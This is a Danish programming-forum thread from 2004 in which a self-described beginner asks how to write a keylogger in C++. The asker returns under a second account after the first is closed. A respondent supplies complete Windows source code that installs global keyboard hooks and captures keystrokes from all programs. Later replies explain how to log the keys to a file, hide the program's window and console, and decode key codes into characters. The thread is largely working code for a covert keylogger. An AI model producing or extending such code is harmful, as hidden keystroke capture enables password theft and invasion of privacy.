Avatar billede taager-kongen Nybegynder
01. november 2004 - 18:58 Der er 30 kommentarer

At lave keylogger ?

Hejza allesammen.

Har rodet lidt med c++ (er total noob ! )

Men ved nogen hvordan en keylogger lavers. Vi nemlig gerne prøve have en kørende på min maskine. Vil ikke downloade en !

Kan nogen hjælpe ?
Jeg bruger dec-cpp hvis det er.

På forhånd tak
Avatar billede filename Nybegynder
01. november 2004 - 18:59 #1
Keylogger er vidst ulovlige, hvis du vil sende den til andre.
Avatar billede taager-kongen Nybegynder
01. november 2004 - 19:01 #2
De ikke ulovlige. De kan slidt bruges til et lovligt formål.

Tror du alle disse firmaer som sælger dem, gør noget ulovligt.. NEJ.
Avatar billede hashkagen Nybegynder
01. november 2004 - 19:04 #3
de er ikke ulovlige :D de skal blot bruges på den lovlige måde!
ikke til at invadere folks privatliv.
men fx. til at overvåge medarbejdere på SIN EGEN virksomhed, for at se hvad de nu laver.

eller hvis man er system administrator.

bare ikke til at skaffe kodeord eller lignende private oplysninger..

www.google.com kan godt hjælpe, hvis du blot leder efter en keylogger. prøv at søge keylogger sourcecode ETC. du finder muligvis noget,

ellers kan du jo spørge på et c++ forum for mere hjælp end den du vil finde på E.
Avatar billede taager-kongen Nybegynder
01. november 2004 - 19:05 #4
hejza.

Men hellere lave en selv, så jeg måske kan lave nogen flere ting i det..
Avatar billede driis Nybegynder
01. november 2004 - 19:08 #5
Du opretter en system wide keyboard hook med SetWindowsHookEx
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp

Dernæst bruger du din KeyboardProc til at gemme tastetrykket et passende sted:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/keyboardproc.asp

Jeg ved godt du skriver at du er ny til C++, men jeg har desværre ikke tid til at gå i detaljer med det lige nu. Hvis du ikke kan finde ud af det kan jeg evt. lave et eksempel til dig senere i aften eller i morgen.
Avatar billede hashkagen Nybegynder
01. november 2004 - 19:20 #6
kunna faktisk også godt tænke mig et driis :D
Avatar billede apromis Praktikant
01. november 2004 - 20:19 #7
driis --> min bruger (taager-kongen) er desværre lige blevet lukket :( ...

Derfor vil jeg håbe du vil hjælpe mig videre her eller over mail.
Jeg vil selvfølge gerne de samme points.

Jeg kan desværre ikke se så meget ud af det link, så håber du vil noget et eksempel.
Min msn er jet_fox_madsen[a]hotmail.com

På forhånd tak.
Avatar billede bertelbrander Praktikant
01. november 2004 - 23:21 #8
#include <windows.h>
#include <stdio.h>

#define IDC_EDIT 1200

HINSTANCE InstanceHandle;
HHOOK Hook;
HWND WindowHandle;

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
  if(code == HC_ACTION)
  {
      char Message[128];
      sprintf(Message, "Virtual Key Code: %08X, Info: %08X", wParam, lParam);
      SetDlgItemText(WindowHandle, IDC_EDIT, Message);
  }
  return CallNextHookEx(Hook, code, wParam, lParam);
}

LRESULT CALLBACK DialogProc(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam)
{
  switch(msg)
  {
  case WM_CREATE:
      {
        CreateWindow("EDIT", "", WS_CHILD | WS_VISIBLE| ES_AUTOHSCROLL,
                    10, 10, 290, 20, hwndDlg, (HMENU )(IDC_EDIT), InstanceHandle, 0);
        Hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle(0), 0);
        WindowHandle = hwndDlg;
      }
      break;
  }
  return DefWindowProc(hwndDlg, msg, wParam, lParam);
};

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR lpCmdLine, INT nCmdShow)
{
  WNDCLASS wc;
  InstanceHandle = hInstance;
  memset(&wc, 0, sizeof(WNDCLASS));
  wc.style = CS_HREDRAW | CS_VREDRAW | CS_DBLCLKS;
  wc.lpfnWndProc = DialogProc;
  wc.hInstance = InstanceHandle;
  wc.hbrBackground = (HBRUSH )(COLOR_BTNFACE + 1);
  wc.lpszClassName = "WhateverClass";
  wc.hCursor = LoadCursor(NULL, IDC_ARROW);
  if(!RegisterClass(&wc))
      return FALSE;

  HWND WindowHandle = CreateWindow("WhateverClass",
                                    "Whatever",
                                    WS_MINIMIZEBOX | WS_VISIBLE | WS_CLIPSIBLINGS | WS_CLIPCHILDREN | WS_MAXIMIZEBOX | WS_CAPTION | WS_BORDER | WS_SYSMENU,
                                    100, 100, 400, 100,
                                    NULL,
                                    NULL,
                                    InstanceHandle,
                                    0);
  MSG Msg;
  while(GetMessage(&Msg, WindowHandle, 0, 0xFFFF) > 0)
  {
      if(!IsDialogMessage(WindowHandle, &Msg))
      {
        TranslateMessage(&Msg);
        DispatchMessage(&Msg);
      }
  }
  return 0;
}
Avatar billede apromis Praktikant
02. november 2004 - 12:16 #9
Hejza bertel..

Kan ikke rigtigt få den til at virke ...

Har complikert programmet og det er åbnet.. Men der sker ikke rigtigt noget,..

Hvis jeg begynder og taste (som nu) kan jeg ikke se det :S ..

Gør jeg noget forkert ?
Avatar billede bertelbrander Praktikant
02. november 2004 - 20:10 #10
En anden version, der bruger WH_KEYBOARD_LL (kræver vist NT/2000/XP), du kan også prøve WH_JOURNALRECORD.

#include <windows.h>
#include <stdio.h>

#define IDC_EDIT 1200

HINSTANCE InstanceHandle;
HHOOK Hook;
HWND WindowHandle;

LRESULT CALLBACK LowLevelKeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
  char Msg[1024];
  KBDLLHOOKSTRUCT *HookStruct = (KBDLLHOOKSTRUCT *)lParam;
  sprintf(Msg, "Msg: %u, VirtKey: %u Scan: %08X", wParam, HookStruct->vkCode, HookStruct->scanCode);
  SetDlgItemText(WindowHandle, IDC_EDIT, Msg);

  return CallNextHookEx(Hook, code, wParam, lParam);
}

LRESULT CALLBACK DialogProc(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam)
{
  switch(msg)
  {
  case WM_CREATE:
      {
        CreateWindow("EDIT", "", WS_CHILD | WS_VISIBLE| ES_AUTOHSCROLL,
                    10, 10, 290, 20, hwndDlg, (HMENU )(IDC_EDIT), InstanceHandle, 0);
        Hook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(0), 0);
        WindowHandle = hwndDlg;
      }
      break;
  }
  return DefWindowProc(hwndDlg, msg, wParam, lParam);
};

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR lpCmdLine, INT nCmdShow)
{
  WNDCLASS wc;
  InstanceHandle = hInstance;
  memset(&wc, 0, sizeof(WNDCLASS));
  wc.style = CS_HREDRAW | CS_VREDRAW | CS_DBLCLKS;
  wc.lpfnWndProc = DialogProc;
  wc.hInstance = InstanceHandle;
  wc.hbrBackground = (HBRUSH )(COLOR_BTNFACE + 1);
  wc.lpszClassName = "WhateverClass";
  wc.hCursor = LoadCursor(NULL, IDC_ARROW);
  if(!RegisterClass(&wc))
      return FALSE;

  HWND WindowHandle = CreateWindow("WhateverClass",
                                    "Whatever",
                                    WS_MINIMIZEBOX | WS_VISIBLE | WS_CLIPSIBLINGS | WS_CLIPCHILDREN | WS_MAXIMIZEBOX | WS_CAPTION | WS_BORDER | WS_SYSMENU,
                                    100, 100, 400, 100,
                                    NULL,
                                    NULL,
                                    InstanceHandle,
                                    0);
  MSG Msg;
  while(GetMessage(&Msg, WindowHandle, 0, 0xFFFF) > 0)
  {
      if(!IsDialogMessage(WindowHandle, &Msg))
      {
        TranslateMessage(&Msg);
        DispatchMessage(&Msg);
      }
  }
  return 0;
}
Avatar billede apromis Praktikant
02. november 2004 - 23:06 #11
Det begynder og ligne... :D ... Takker..

Men vil du ikke lig forklarer mig hvor jeg skal slette den box der, så jeg  istedet indsætte det en tekst fil..

I det ikke denne linjie
SetDlgItemText(WindowHandle, IDC_EDIT, Msg);

Eller er det den ovenover ?
Avatar billede bertelbrander Praktikant
02. november 2004 - 23:17 #12
Linien med sprintf formaterer strengen der udskrives, linien med SetDlgItemText putter strengen ud på edit-box'en.

Du kan åbne en fil med fopen og erstatte sprintf med en fprintf, så den skriver til filen og ikke edit-box'en.
Avatar billede narrr Nybegynder
02. november 2004 - 23:34 #13
Bertel, skal du ikke have din HookProc over i en DLL for at andre programmer kan kalde den? Eller fanger dit program også input skrevet i andre programmer?
Avatar billede bertelbrander Praktikant
03. november 2004 - 00:10 #14
Jeg troede også i starten at man skulle have hookproc til at være i en DLL, men det er tilsyneladende ikke nødvendigt.

Programmet fanger også input mens andre programmer er aktive.
Avatar billede apromis Praktikant
03. november 2004 - 09:00 #15
Er det muligt at fjerne hele boxen ? så det kun er en sort skærm ?
Avatar billede bertelbrander Praktikant
03. november 2004 - 20:07 #16
Den hurtige metode er at fjerne WS_VISIBLE
Hvilken sort skærm ?
Avatar billede apromis Praktikant
03. november 2004 - 22:11 #17
når jeg åbner programet åbens en sort box (ligner command) og den whatever box.
Avatar billede apromis Praktikant
03. november 2004 - 22:29 #18
ok fandt ud af med den lille box..

Vil arbejde lidt videre med mit program..

Der kommer nok nogen spørgsmål senere :D ..

Vil du have points ?
Avatar billede apromis Praktikant
03. november 2004 - 22:31 #19
Har dog lige et lille spm til dig.. Hvis det okay ?

Programmet vises eks dette:
Msg: 257, VirtKey: 13 Scan: 0000001C

Hvordan laver jeg det om til en rigtigt tast..

?
Avatar billede bertelbrander Praktikant
03. november 2004 - 23:13 #20
Du fjerner vist den sort box ved at tilføje -mwindows til kommandoen der bygger programmet.

Som du kan se på denne:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/lowlevelkeyboardproc.asp

Er Msg WM_KEYUP, WM_KEYDOWN, WM_SYSKEYUP eller WM_SYSKEYDOWN.

HookStruct->vkCode er en "virtual key", dvs VK_LEFT, VK_SHIFT, osv. For almindelige tegn er det A..Z (den kender ikke forskel på store og små bogstaver).

Jeg samler ikke på point.
Avatar billede apromis Praktikant
04. november 2004 - 09:34 #21
Hvad mener du ?

Hvis jeg nu har koden :
Msg: 257, VirtKey: 13 Scan: 0000001C

Hvordan laver jeg det så om til noget andet ? et bogstav ?

Altså en kode som laver denne kode Msg: 257, VirtKey: 13 Scan: 0000001C til et enter..
Avatar billede bertelbrander Praktikant
04. november 2004 - 20:08 #22
Enter er det samme som 13 som er det samme som '\n' som er det samme som VK_RETURN som der det samme som return.
Avatar billede apromis Praktikant
04. november 2004 - 20:48 #23
ja... Men hvordan laver jeg kode som dekoder sådan en kode?

Altså fra Msg: 257, VirtKey: 87 Scan: 00000011 til w ..  hvad er scan og mgs ?
Avatar billede bertelbrander Praktikant
04. november 2004 - 21:00 #24
Msg/wParam er som anført ovenfor WM_KEYUP ..., så her kan du se om tasten trykkes ned eller slippes.

scan er sansynligvis ikke nødvendig.

HookStruct->vkCode er taste koden dvs et 'A' eller Enter ('\n') osv.

Hvordan vil du have output til at se ud?
Avatar billede apromis Praktikant
04. november 2004 - 21:09 #25
Altså mgs er forstået.
Virtkey --> Vil jeg gerne have en kode som regner tallet over til et bogstav istedet.
Scan ? Hvad er det?

Out vil jeg gerne have til at se således ud:
mgs: 257 , vitkey: a scan : ?
Avatar billede bertelbrander Praktikant
04. november 2004 - 21:37 #26
Et eksempel på et andet output, du kan selv fortsætte:

LRESULT CALLBACK LowLevelKeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
  char Msg[1024];
  bool IsDown = false;
  char Key;
  KBDLLHOOKSTRUCT *HookStruct = (KBDLLHOOKSTRUCT *)lParam;

  if(wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)
    IsDown = true;
  if((HookStruct->vkCode >= 'A' && HookStruct->vkCode <= 'Z') ||
    (HookStruct->vkCode >= '0' && HookStruct->vkCode <= '9'))
  {
    Key = (char )HookStruct->vkCode;
    sprintf(Msg, "Normal Key%s: %c", IsDown ? "Down" : "Up", Key);
  }
  else if(HookStruct->vkCode == '\n')
  {
    sprintf(Msg, "Enter Key%s", IsDown ? "Down" : "Up");
  }
  else if(HookStruct->vkCode >= VK_F1 && HookStruct->vkCode <= VK_F12)
  {
    sprintf(Msg, "F%d Key%s", HookStruct->vkCode - VK_F1 + 1, IsDown ? "Down" : "Up");
  }
  else
  {
    sprintf(Msg, "Some other Key%s: %d", IsDown ? "Down" : "Up", HookStruct->vkCode);
  }
  SetDlgItemText(WindowHandle, IDC_EDIT, Msg);

  return CallNextHookEx(Hook, code, wParam, lParam);
}
Avatar billede apromis Praktikant
04. november 2004 - 21:38 #27
for fejl :
bool IsDown = false;
Avatar billede bertelbrander Praktikant
04. november 2004 - 21:42 #28
Det er C++, oversætter du som C ?

Prøv at putte dette ind øverst:

typedef enum
{
  false, true
}bool;
Avatar billede apromis Praktikant
04. november 2004 - 21:46 #29
koden er:
typedef enum
{
  false, true
}bool;
LRESULT CALLBACK LowLevelKeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
  char Msg[1024];
  bool IsDown = false;
  char Key;
  KBDLLHOOKSTRUCT *HookStruct = (KBDLLHOOKSTRUCT *)lParam;

  if(wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)
    IsDown = true;
  if((HookStruct->vkCode >= 'A' && HookStruct->vkCode <= 'Z') ||
    (HookStruct->vkCode >= '0' && HookStruct->vkCode <= '9'))
  {
    Key = (char )HookStruct->vkCode;
    sprintf(Msg, "Normal Key%s: %c", IsDown ? "Down" : "Up", Key);
  }
  else if(HookStruct->vkCode == '\n')
  {
    sprintf(Msg, "Enter Key%s", IsDown ? "Down" : "Up");
  }
  else if(HookStruct->vkCode >= VK_F1 && HookStruct->vkCode <= VK_F12)
  {
    sprintf(Msg, "F%d Key%s", HookStruct->vkCode - VK_F1 + 1, IsDown ? "Down" : "Up");
  }
  else
  {
    sprintf(Msg, "Some other Key%s: %d", IsDown ? "Down" : "Up", HookStruct->vkCode);
  }
  SetDlgItemText(WindowHandle, IDC_EDIT, Msg);

  return CallNextHookEx(Hook, code, wParam, lParam);
}


Og får denne fejl :
LRESULT CALLBACK LowLevelKeyboardProc(int code, WPARAM wParam, LPARAM lParam)


Er der noget jeg mangler. som windows.h eller sådan noget ?
Avatar billede bertelbrander Praktikant
04. november 2004 - 22:21 #30
Du skal erstatte funktionen med den den fra "02/11-2004 20:10:51"
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester